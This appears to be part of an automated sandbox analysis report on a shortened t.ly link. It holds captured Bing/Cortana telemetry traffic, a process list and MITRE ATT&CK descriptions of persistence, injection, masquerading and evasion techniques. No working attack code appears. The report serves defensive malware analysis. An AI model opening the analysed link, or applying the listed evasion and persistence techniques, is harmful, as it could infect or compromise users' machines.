2024-10-23 22:28:35 UTC	491	OUT	GET /apc/trans.gif?489391a15d3919dbfca939f0d499d770 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp-vs-nocache.azureedge.net Connection: Keep-Alive
2024-10-23 22:28:35 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Length,Content-Range,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Cache-Control: no-cache Content-Type: image/gif Date: Wed, 23 Oct 2024 22:28:35 GMT Etag: "0x8DC6E063BD1AC28" Expires: Wed, 23 Oct 2024 22:28:34 GMT Last-Modified: Mon, 06 May 2024 19:53:43 GMT Server: ECAcc (lhc/7952) x-azure-ref: 20241023T222835Z-185976f754bpcjlfqcavhefy2g00000006d0000000012f0t X-Cache: TCP_HIT x-fd-int-roxy-purgeid: 0 x-ms-request-id: 24dca1d4-401e-003d-2e3a-2269b1000000 x-ms-version: 2018-03-28 Content-Length: 43 Connection: close
2024-10-23 22:28:35 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.16	49801	144.2.14.25	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:36 UTC	486	OUT	GET /apc/trans.gif?77361e034fb3f0c30401afeebe356fff HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: rum8.perf.linkedin.com Connection: Keep-Alive
2024-10-23 22:28:36 UTC	426	IN	HTTP/1.1 200 OK Cache-Control: max-age=604800 Timing-Allow-Origin: * Date: Wed, 23 Oct 2024 22:28:36 GMT Transfer-Encoding: chunked X-Li-Fabric: prod-lor1 X-Li-Pop: prod-lor1-x X-LI-Proto: http/1.1 Content-Type: image/gif X-LI-UUID: AAYlLGgp/j+RrQHdVmZCnA== Set-Cookie: bcookie="v=2&05f8e601-1b2f-49ba-85b8-7a5c700286bc"; domain=.linkedin.com; Path=/; Secure; Expires=Thu, 23-Oct-2025 22:28:36 GMT; SameSite=None
2024-10-23 22:28:36 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-10-23 22:28:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;
2024-10-23 22:28:36 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.16	49802	204.79.197.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:36 UTC	2232	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1729722416 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x640 X-BM-DeviceDimensionsLogical: 784x640 X-BM-DeviceScale: 100 X-BM-DTZ: -240 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75 X-Device-ClientSession: 480A85385EAC4290B1864849734F806F X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2 X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 1922 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1729722471397&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=f66a65f7&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-10-23 22:28:36 UTC	1922	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 35 38 31 34 34 33 33 34 62 61 66 31 34 37 62 63 62 37 64 38 30 62 66 31 33 61 33 37 37 31 62 62 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 74 6f 74 61 6c 6e 75 6d 62 65 72 4f 66 45 6e 74 72 69 65 73 22 3a 22 30 22 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>58144334baf147bcb7d80bf13a3771bb</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","totalnumberOfEntries":"0"
2024-10-23 22:28:36 UTC	428	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9E0CC2BFFC1248AABAC49188A19316A3 Ref B: DFW311000102047 Ref C: 2024-10-23T22:28:36Z Date: Wed, 23 Oct 2024 22:28:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.16	49803	144.2.14.25	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:37 UTC	546	OUT	GET /apc/trans.gif?cb3737de19b8488d9075685ef2e87cae HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: rum8.perf.linkedin.com Connection: Keep-Alive Cookie: bcookie="v=2&05f8e601-1b2f-49ba-85b8-7a5c700286bc"
2024-10-23 22:28:37 UTC	270	IN	HTTP/1.1 200 OK Cache-Control: max-age=604800 Timing-Allow-Origin: * Date: Wed, 23 Oct 2024 22:28:37 GMT Transfer-Encoding: chunked X-Li-Fabric: prod-lor1 X-Li-Pop: prod-lor1-x X-LI-Proto: http/1.1 Content-Type: image/gif X-LI-UUID: AAYlLGg37GCq+Ybs5W+dXQ==
2024-10-23 22:28:37 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-10-23 22:28:37 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;
2024-10-23 22:28:37 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.16	49804	150.171.44.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:38 UTC	490	OUT	GET /apc/trans.gif?ec8b7b2b9027319743ba953590699837 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: o-ring-fallback.msedge.net Connection: Keep-Alive
2024-10-23 22:28:38 UTC	700	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: SN1r5a X-Frontend: AFD X-Machinename: SN1EDGE2006 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0079D2A57A3D4B748B8FF5FE15D258BC Ref B: SN1EDGE2006 Ref C: 2024-10-23T22:28:38Z Date: Wed, 23 Oct 2024 22:28:37 GMT Connection: close
2024-10-23 22:28:38 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.16	49805	150.171.44.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:39 UTC	490	OUT	GET /apc/trans.gif?2fcb026dc840d670cbbb63c5e550f200 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: o-ring-fallback.msedge.net Connection: Keep-Alive
2024-10-23 22:28:39 UTC	708	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: SN4r8b X-Frontend: AFD X-Machinename: SN4AA2022406023 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 431A48AEDC1242C8BF0EA6F0F474B3EE Ref B: SN4AA2022406023 Ref C: 2024-10-23T22:28:39Z Date: Wed, 23 Oct 2024 22:28:39 GMT Connection: close
2024-10-23 22:28:39 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.16	49806	204.79.197.222	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:40 UTC	1283	OUT	GET /r.gif?MonitorID=asgw&rid=001c175d4b66e4d0ea0ba25e83522831&w3c=true&prot=https:&v=20190506&DATA=[{%22RequestID%22:%22fp-vs-nocache.azureedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:1315,%22T%22:1},{%22RequestID%22:%22fp-vs-nocache.azureedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:1306,%22T%22:1},{%22RequestID%22:%22rum8.perf.linkedin.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:945,%22T%22:1},{%22RequestID%22:%22rum8.perf.linkedin.com%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:907,%22T%22:1},{%22RequestID%22:%22o-ring-fallback.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22cold%22,%22Result%22:946,%22T%22:1},{%22RequestID%22:%22o-ring-fallback.msedge.net%22,%22Object%22:%22trans.gif%22,%22Conn%22:%22warm%22,%22Result%22:921,%22T%22:1}] HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp.msedge.net Connection: Keep-Alive
2024-10-23 22:28:40 UTC	308	IN	HTTP/1.1 200 OK Cache-Control: no-store Transfer-Encoding: chunked Content-Type: image/gif Access-Control-Allow-Origin: https://www.bing.com X-MSEdge-Ref: Ref A: B203286697724E61B85682C741508DBF Ref B: DFW30EDGE0421 Ref C: 2024-10-23T22:28:40Z Date: Wed, 23 Oct 2024 22:28:40 GMT Connection: close
2024-10-23 22:28:40 UTC	12	IN	Data Raw: 37 0d 0a 47 49 46 38 39 61 01 0d 0a Data Ascii: 7GIF89a
2024-10-23 22:28:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.16	49807	20.140.56.69	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:43 UTC	481	OUT	GET /apc/trans.gif?9094d06e40078f56d136d2ad1c47e815 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp-afd.azurefd.us Connection: Keep-Alive
2024-10-23 22:28:43 UTC	474	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:28:43 GMT Content-Type: image/gif Content-Length: 43 Connection: close Last-Modified: Wed, 15 Apr 2020 06:28:59 GMT ETag: 0x8D7E10648399B84 x-ms-request-id: ce120c7c-801e-006f-73e6-1caeb2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241023T222843Z-174979c969bt2kssu5qy48yx6g0000000ms0000000001xet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:28:43 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.16	49808	20.140.56.69	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:44 UTC	481	OUT	GET /apc/trans.gif?c44e8bb66b77d5deb8d9b578b4db2152 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp-afd.azurefd.us Connection: Keep-Alive
2024-10-23 22:28:44 UTC	474	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:28:44 GMT Content-Type: image/gif Content-Length: 43 Connection: close Last-Modified: Wed, 15 Apr 2020 06:28:59 GMT ETag: 0x8D7E10648399B84 x-ms-request-id: ce120c7c-801e-006f-73e6-1caeb2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241023T222844Z-174979c969bpjgj92x8hk1xprc0000000190000000001rp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:28:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.16	49809	52.123.128.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:28:45 UTC	486	OUT	GET /apc/trans.gif?d6d1ab046384375e9de28779bc755a31 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: dual-s-ring.msedge.net Connection: Keep-Alive
2024-10-23 22:28:45 UTC	710	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: DFW31r5c X-Frontend: AFD X-Machinename: DFW311000106025 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1B31C57B74E745F6AA5C83C1FD8C894D Ref B: DFW311000106025 Ref C: 2024-10-23T22:28:45Z Date: Wed, 23 Oct 2024 22:28:44 GMT Connection: close
2024-10-23 22:28:45 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Target ID:	0
Start time:	18:26:38
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff783ed0000
File size:	2'450'432 bytes
MD5 hash:	B6CB00FCB81D3B66870817AEBE7163BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	18:26:38
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2040 --field-trial-handle=1900,i,15553096423479836964,138704252807567035,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff783ed0000
File size:	2'450'432 bytes
MD5 hash:	B6CB00FCB81D3B66870817AEBE7163BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:26:39
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" "https://t.ly/2jKWO"
Imagebase:	0x7ff783ed0000
File size:	2'450'432 bytes
MD5 hash:	B6CB00FCB81D3B66870817AEBE7163BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:26:57
Start date:	23/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE"
Imagebase:	0xb20000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	18:27:46
Start date:	23/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	18:27:46
Start date:	23/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1948,i,18141148504934150785,17011120280769576771,262144 /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:28:13
Start date:	23/10/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 8192
Imagebase:	0x7ff6aa0c0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

